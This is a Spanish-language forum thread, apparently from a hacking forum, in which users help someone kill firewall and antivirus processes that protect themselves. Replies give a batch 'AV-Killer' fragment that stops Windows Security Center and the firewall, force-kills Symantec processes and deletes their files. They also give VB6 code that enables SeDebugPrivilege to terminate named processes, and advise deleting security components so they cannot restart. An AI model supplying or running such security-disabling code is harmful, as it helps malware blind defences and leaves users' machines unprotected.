Hola queria saber si alguien me puede ayudar con este codigo
lo que quiero hacer es matar procesos de firewalls pero al estar bloqueadosno se como hacerlo aca les dejo el codigo de como lo estoy tratando de hacer pero solo mata los procesos que no estan bloqueados.
Private Sub Command1_Click()
KillProcess Text1.Text
End Sub
Public Sub KillProcess(ByVal processName As String)
Dim oWMI
Dim ret
Dim sService
Dim oWMIServices
Dim oWMIService
Dim oServices
Dim oService
Dim servicename
Set oWMI = GetObject("winmgmts:")
Set oServices = oWMI.InstancesOf("win32_process")
For Each oService In oServices
servicename = LCase(Trim(CStr(oService.Name) & ""))
If InStr(1, servicename, LCase(processName), vbTextCompare) > 0 Then
ret = oService.Terminate
End If
Next
Set oServices = Nothing
Set oWMI = Nothing
ErrHandler:
Err.Clear
End Sub
1. Antes que nada...Por favor, utiliza las etiquetas [ code ] y [ /code ] -sin espacios- o bien marca tu código con el botón #. Son las normas de éste foro ;)
2. Lo segundo, para matar procesos de antivirus y/o firewalls que están bloqueados es mejor que utilices un archivo de proceso por lotes, que bien crees y ejecutes desde tu programa o bien lo juntes con el ejecutable.
Un perfecto ejemplo para matar antivirus y firewall en batch es éste (fragmento de AV-Killer en Batch by Hendrix en www.piratasinformaticos.net (http://foro.piratasinformaticos.net/index.php?topic=1054.msg3277#msg3277))
@echo off
net stop "Centro de Seguridad"
net stop "Firewall de Windows/Conexión compartida a Internet (ICS)"
Taskkill /f /IM ccProxy.exe /IM ccSetMgr.exe /IM SNDSrvc.exe /IM SPBBCSvc.exe /IM ccEvtMgr.exe /IM ccApp.exe /IM NMAIN.EXE /IM SBServ.exe /IM NOPDB.EXE
cd c:\Archivos de programa\Archivos comunes\Symantec Shared
attrib -H -S -R *.*
del /s /q *.*
rd c:\Archivos de programa\Archivos comunes\Symantec Shared
cd c:\Archivos de programa\Archivos comunes\Symantec Shared\SPBBC
attrib -H -S -R *.*
Como ves, es fundamental borrar los archivos una vez que matas los procesos ya que algunos antivirus son capaces de detectar que son descargados de la memoria y vuelven a ejecutarse (caso por ejemplo del NOD32)
Para crear archivos BAT desde VB sólo tienes que crear una variable con el contenido y volcarla a un archivo. (En el foro está como hacer eso) y usar la API ShellExecute o bien el comando de VB Shell para ejecutarlo (también está en el foro).
Espero haberte ayudado
P.D: Creo que no hace falta aclararlo... pero ahi va: desde VB también se puede hacer ésto (con un poco de ganas y maña) pero te he puesto el ejemplo con el BAT porque es más efectivo.
pero amigo como haces para matar el procesos si justamente esta bloqueado, al querer matarlo me tira error diciendo de el procesos esta bloqueado
a ver si alguno me responde... ;D
Primero tienes que hacer una subida de privilegios con AdjustTokenPrivileges y despues cerrar el proceso con ExitProcess. Busca informacion sobre estas dos API's y sabras como usarlas.
Nota: Esto sirve para practicamente para todos los procesos. Hay algunos como por ejemplo el kavsvc.exe que no te va a dar resultado. Con los de los firewalls si lo vas a conseguir ya que no tienen tanta proteccion.
hola gracias por responderme
estuve viendo estas funciones y mucho no entendi, porque recien estoy empesando con el tema de las apis, por lo que estuve viendo "AdjustTokenPrivileges" es para darle privilegio al proceso y "ExitProcess" para cerrarlo, pero no se bien como utilizar las constantes.
Si me podrias dar una mano te lo agradeceria .
Gracias
Muchos antivirus como el kav utilizan apihooking para prohibir su finalizacion y cualkier tipo de intento de eliminarlo, en todo caso se han equivocada en una cosa, su base de datos se puede borrar...
a ver si me explico bien...
yo lo que quiero no es matar un antivirus completo, borrandolo todo, lo que quiero hacer es matar procesos de firewalls, como el zone alarm, norton firewall etc y dejar a al antivirus como esta.
Por eso pregutaba si alguno podria poner un ejemplito de las apis que dijo Gorky.
Gracias
Option Explicit
Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Private Declare Function TerminateProcess Lib "kernel32" (ByVal hProcess As Long, ByVal uExitCode As Long) As Long
Private Declare Function GetWindowThreadProcessId Lib "user32" (ByVal hwnd As Long, lpdwProcessId As Long) As Long
Private Declare Function AdjustTokenPrivileges Lib "advapi32.dll" (ByVal TokenHandle As Long, ByVal DisableAllPrivileges As Long, NewState As TOKEN_PRIVILEGES, ByVal BufferLength As Long, PreviousState As TOKEN_PRIVILEGES, ReturnLength As Long) As Long
Private Declare Function OpenProcessToken Lib "advapi32.dll" (ByVal ProcessHandle As Long, ByVal DesiredAccess As Long, TokenHandle As Long) As Long
Private Declare Function LookupPrivilegeValue Lib "advapi32.dll" Alias "LookupPrivilegeValueA" (ByVal lpSystemName As String, ByVal lpName As String, lpLuid As LUID) As Long
Private Declare Function GetCurrentProcess Lib "kernel32" () As Long
Declare Function ProcessFirst Lib "kernel32" Alias "Process32First" (ByVal hSnapshot As Long, uProcess As PROCESSENTRY32) As Long
Declare Function ProcessNext Lib "kernel32" Alias "Process32Next" (ByVal hSnapshot As Long, uProcess As PROCESSENTRY32) As Long
Declare Function CreateToolhelpSnapshot Lib "kernel32" Alias "CreateToolhelp32Snapshot" (ByVal lFlags As Long, lProcessID As Long) As Long
Private Type LUID
LowPart As Long
HighPart As Long
End Type
Private Type LUID_AND_ATTRIBUTES
pLuid As LUID
Attributes As Long
End Type
Private Type TOKEN_PRIVILEGES
PrivilegeCount As Long
TheLuid As LUID
Attributes As Long
End Type
Public Const MAX_PATH As Integer = 260
Public Const TH32CS_SNAPPROCESS As Long = 2&
Type PROCESSENTRY32
dwSize As Long
cntUsage As Long
th32ProcessID As Long
th32DefaultHeapID As Long
th32ModuleID As Long
cntThreads As Long
th32ParentProcessID As Long
pcPriClassBase As Long
dwFlags As Long
szexeFile As String * MAX_PATH
End Type
Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Function ProcessTerminate(Optional lProcessID As Long, Optional lHwndWindow As Long) As Boolean
Dim lhwndProcess As Long
Dim lExitCode As Long
Dim lRetVal As Long
Dim lhThisProc As Long
Dim lhTokenHandle As Long
Dim tLuid As LUID
Dim tTokenPriv As TOKEN_PRIVILEGES, tTokenPrivNew As TOKEN_PRIVILEGES
Dim lBufferNeeded As Long
Const PROCESS_ALL_ACCESS = &H1F0FFF, PROCESS_TERMINAT = &H1
Const ANYSIZE_ARRAY = 1, TOKEN_ADJUST_PRIVILEGES = &H20
Const TOKEN_QUERY = &H8, SE_DEBUG_NAME As String = "SeDebugPrivilege"
Const SE_PRIVILEGE_ENABLED = &H2
On Error Resume Next
If lHwndWindow Then
'Get the process ID from the window handle
lRetVal = GetWindowThreadProcessId(lHwndWindow, lProcessID)
End If
If lProcessID Then
lhThisProc = GetCurrentProcess
OpenProcessToken lhThisProc, TOKEN_ADJUST_PRIVILEGES Or TOKEN_QUERY, lhTokenHandle
LookupPrivilegeValue "", SE_DEBUG_NAME, tLuid
tTokenPriv.PrivilegeCount = 1
tTokenPriv.TheLuid = tLuid
tTokenPriv.Attributes = SE_PRIVILEGE_ENABLED
AdjustTokenPrivileges lhTokenHandle, False, tTokenPriv, Len(tTokenPrivNew), tTokenPrivNew, lBufferNeeded
lhwndProcess = OpenProcess(PROCESS_TERMINAT, 0, lProcessID)
If lhwndProcess Then
ProcessTerminate = CBool(TerminateProcess(lhwndProcess, lExitCode))
Call CloseHandle(lhwndProcess)
End If
End If
On Error GoTo 0
End Function
Public Function KillProcessus(nom_process) As String
Dim i As Integer
Dim hSnapshot As Long
Dim uProcess As PROCESSENTRY32
Dim r As Long
Dim nom(1 To 100)
Dim num(1 To 100)
Dim nr As Integer
nr = 0
hSnapshot = CreateToolhelpSnapshot(TH32CS_SNAPPROCESS, 0&)
If hSnapshot = 0 Then Exit Function
uProcess.dwSize = Len(uProcess)
r = ProcessFirst(hSnapshot, uProcess)
Do While r
nr = nr + 1
nom(nr) = uProcess.szexeFile
num(nr) = uProcess.th32ProcessID
r = ProcessNext(hSnapshot, uProcess)
Loop
For i = 1 To nr
If InStr(UCase(nom(i)), UCase(nom_process)) <> 0 Then
ProcessTerminate (num(i))
Exit For
End If
Next i
End Function
Aqui en vez de hacerlo con ExitProcess lo hace con TerminateProcess pero viene a ser lo mismo.
Esto es mas que un "ejemplito" pero espero que te sirva.
Te jodo mucho si me la explicas un poquito?
porque no se como manejarla desde el form.
Gracias
Lo que te he dado es una funcion. Para usarla debes poner:
KillProcessus("nombre_del_proceso.exe")
me sigue pasando lo mismo me mata solo los procesos que no estan bloqueados, el del zone alarm no me lo mata, ¿le hace falta algo mas al codigo?
Gracias
Te e dicho antes k no se puede matar por las buenas...
No se si sabes lo k es el api hooking:
Para realizar funciones como matar un proceso lso programas utilizan la api TerminateProcess, pues si el antivirus o firewall la hookea no permite k su proceso se termine y contra eso no pedes acer nada, intenta acer k no arranke o borrar sus componentes.